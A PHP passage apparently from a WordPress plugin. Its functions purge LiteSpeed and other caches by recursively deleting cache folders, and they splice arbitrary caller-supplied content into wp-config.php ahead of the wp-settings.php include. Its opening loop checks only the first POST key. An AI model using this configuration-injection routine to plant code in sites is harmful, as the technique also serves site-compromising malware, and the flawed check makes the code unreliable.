foreach($postlist as $postline){
if (isset($_POST[$postline])){
return true;
}
else return false;
}
}
function promtopurge(){
if (has_action('litespeed_purge_all')){
do_action('litespeed_purge_all');
}
if (is_dir(ABSPATH.'wp-content/litespeed')){
rmdir_recursive(ABSPATH.'wp-content/litespeed');
}
if (is_dir(ABSPATH.'wp-content/cache')){
rmdir_recursive(ABSPATH.'wp-content/cache');
}
if (is_dir(ABSPATH.'wp-content/et-cache')){
rmdir_recursive(ABSPATH.'wp-content/et-cache');
}
if (function_exists('wpfc_clear_all_cache')){
wpfc_clear_all_cache(true);
}
return true;
}
function rmdir_recursive($targetdir){
$dirfiles = array_diff(scandir($targetdir), array('.','..'));
foreach ($dirfiles as $dirfile){
(is_dir("$targetdir/$dirfile"))? rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile");
}
return rmdir($targetdir);
}
function insert_into_wp_config($content_to_insert) {
$config_file_path = ABSPATH . 'wp-config.php';
$config_content = file_get_contents($config_file_path);
$pattern = "/require_once\s*ABSPATH\s*.\s*'wp-settings\.php';\n*/i";
$goalstring = $content_to_insert."\nrequire_once ABSPATH . 'wp-settings.php';\n";
$config_content = preg_replace($pattern,$goalstring,$config_content);
file_put_contents($config_file_path, $config_content);
return true;
}